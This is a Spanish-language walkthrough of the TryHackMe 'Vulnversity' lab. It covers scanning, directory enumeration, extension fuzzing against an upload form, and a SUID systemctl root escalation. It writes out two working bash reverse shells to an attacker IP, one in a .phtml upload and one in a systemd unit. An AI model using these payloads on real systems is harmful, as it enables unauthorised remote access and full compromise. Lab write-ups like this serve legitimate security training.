Vulnversity es una room de TryHackMe de dificultad fácil enfocada en reconocimiento activo, enumeración web, explotación de un formulario de subida de archivos y escalada de privilegios mediante binarios con el bit SUID.
Conexión y comprobación de conectividad
Lo primero es conectarnos a la VPN de TryHackMe y comprobar que tenemos conectividad con la máquina:
ping -c 1 10.80.175.160Respuesta correcta: 1 packet transmitted, 1 received, 0% packet loss. Ya podemos continuar.
Reconocimiento
Ahora toca la fase de reconocimiento. Usamos Nmap con -sS para hacer el escaneo más silencioso (enviamos un reset como tercer paquete) y -sCV para obtener información detallada de los servicios y posibles vulnerabilidades:
sudo nmap -sS -sCV 10.80.175.160 -AResultado del escaneo:
| Puerto | Estado | Servicio | Versión |
|---|---|---|---|
| 21/tcp | open | ftp | vsftpd 3.0.5 |
| 22/tcp | open | ssh | OpenSSH 8.2p1 Ubuntu |
| 139/tcp | open | netbios-ssn | Samba smbd 4.6.2 |
| 445/tcp | open | netbios-ssn | Samba smbd 4.6.2 |
| 3128/tcp | open | http-proxy | Squid http proxy 4.10 |
| 3333/tcp | open | http | Apache httpd 2.4.41 (Ubuntu) |
Observamos que tiene el servicio Samba abierto, un Squid proxy, y una web alojada en el puerto 3333 con título "Vuln University". Vamos a visitarla.
Enumeración Web
La web muestra la página principal de "Vuln University". Antes de nada, enumeramos los directorios públicos con Gobuster:
gobuster dir -u http://10.80.175.160:3333 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txtResultados:
/images (Status: 301)
/css (Status: 301)
/js (Status: 301)
/internal (Status: 301)El directorio /internal nos llama la atención. Vamos a ver qué encontramos ahí.
Explotación
En /internal encontramos un formulario que permite subir ficheros al servidor — muy interesante.
Probamos a subir archivos con extensiones como .txt o .php pero el servidor nos responde que la operación no está permitida.
Fuzzing de extensiones con Burp Intruder
Vamos a usar Burp Suite y el módulo Intruder para probar diferentes extensiones. Primero preparamos una wordlist con las extensiones a probar:
.php
.php3
.php4
.php5
.phtml
.txt
.shInterceptamos la petición de subida con Burp y la mandamos al Intruder. La petición interceptada es:
POST /internal/index.php HTTP/1.1
Host: 10.80.175.160:3333
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Content-Type: multipart/form-data; boundary=----geckoformboundaryfc3ba401656830bde254c03a8ca1cb78
Content-Length: 333
Origin: http://10.80.175.160:3333
------geckoformboundaryfc3ba401656830bde254c03a8ca1cb78
Content-Disposition: form-data; name="file"; filename="test§.txt§"
Content-Type: application/x-php
------geckoformboundaryfc3ba401656830bde254c03a8ca1cb78
Content-Disposition: form-data; name="submit"
Submit
------geckoformboundaryfc3ba401656830bde254c03a8ca1cb78--Marcamos la extensión como posición de payload (Sniper attack) y cargamos la wordlist. Lanzamos el ataque con Start Attack.
Resultado del ataque
Al revisar las respuestas en la tabla de resultados, casi todas tienen un Length de 774 o 773... excepto .phtml, que devuelve 759:
| Request | Payload | Status | Length |
|---|---|---|---|
| 0 | (original) | 200 | 774 |
| 1 | .php | 200 | 773 |
| 2 | .php3 | 200 | 774 |
| 3 | .php4 | 200 | 773 |
| 4 | .php5 | 200 | 773 |
| 5 | .phtml | 200 | 759 |
| 6 | .txt | 200 | 774 |
| 7 | .sh | 200 | 774 |
Inspeccionamos la Response del request 5 y al final del HTML vemos: Success. Esa es la extensión que el servidor permite subir.
Creación de la Reverse Shell
Ya sabemos que la extensión .phtml no está filtrada. Creamos el archivo reverse.phtml con nano:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.189.12/6666 0>&1'");Guardamos el archivo (76 bytes) y lo subimos a través del formulario de /internal.
Localización del archivo subido
Por lo general estos archivos se guardan en /uploads dentro del servidor. Navegamos a:
http://10.81.165.209:3333/internal/uploads/El servidor muestra el índice del directorio y vemos reverse.phtml ahí listado, listo para ser ejecutado.
Acceso Inicial
Antes de ejecutar la shell, nos ponemos en escucha en el puerto 6666:
nc -lvnp 6666Ahora en el navegador accedemos a:
http://10.80.175.160:3333/internal/uploads/reverse.phtmlLa conexión llega inmediatamente:
Listening on 0.0.0.0 6666
Connection received on 10.81.165.209 47514
bash: cannot set terminal process group (1157): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ip-10-81-165-209:/var/www/html/internal/uploads$Estamos dentro como www-data, el usuario que ejecuta Apache. Comprobamos:
whoamiwww-dataPara ver qué usuarios tienen una bash asignada:
cat /etc/passwd | grep bashroot:x:0:0:root:/root:/bin/bash
bill:x:1000:1000:,,,:/home/bill:/bin/bash
ubuntu:x:1001:1001::/home/ubuntu:/bin/bashHay dos usuarios no privilegiados: bill y ubuntu. Nos interesa bill. Navegamos a su home:
cd /home/bill
lsuser.txtcat user.txtLa flag de usuario está ahí.
Escalada de Privilegios
Para escalar privilegios, buscamos binarios con el bit SUID activado. Usamos -exec ls -ldb {} \; para ver también los permisos de cada binario:
find / -user root -perm -4000 -exec ls -ldb {} \;Entre todos los resultados (con bastantes "Permission denied" de directorios del sistema), el que nos llama la atención es /bin/systemctl:
-rwsr-xr-x 1 root root 996584 Jun 17 2024 /bin/systemctlTener systemctl con SUID nos permite crear y arrancar servicios que se ejecuten como root.
Creación del servicio malicioso
Nos vamos a /tmp y creamos el archivo root.service:
[Unit]
Description=rooooooooooot
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.189.12/9999 0>&1'
[Install]
WantedBy=multi-user.targetEjecución
En una nueva terminal nos ponemos en escucha en el puerto 9999:
nc -lvnp 9999Desde la shell de www-data, habilitamos y arrancamos el servicio:
systemctl enable /tmp/root.service
systemctl start rootLa salida del enable confirma la creación de los symlinks:
Created symlink /etc/systemd/system/multi-user.target.wants/root.service -> /tmp/root.service.
Created symlink /etc/systemd/system/root.service -> /tmp/root.service.En el listener recibimos la conexión:
Listening on 0.0.0.0 9999
Connection received on 10.81.165.209 43652
bash: cannot set terminal process group (2701): Inappropriate ioctl for device
bash: no job control in this shell
root@ip-10-81-165-209:/#Comprobamos:
whoamirootYa somos root. Obtenemos la flag final:
cd /root
cat root.txtConclusión
Después de todos estos pasos, podemos dar por completada la room de Vulnversity. Las técnicas practicadas:
- Reconocimiento de servicios con Nmap
- Enumeración de directorios con Gobuster
- Fuzzing de extensiones de fichero con Burp Intruder
- Subida de reverse shell en PHP (
.phtml) - Escalada de privilegios abusando de
/bin/systemctlcon SUID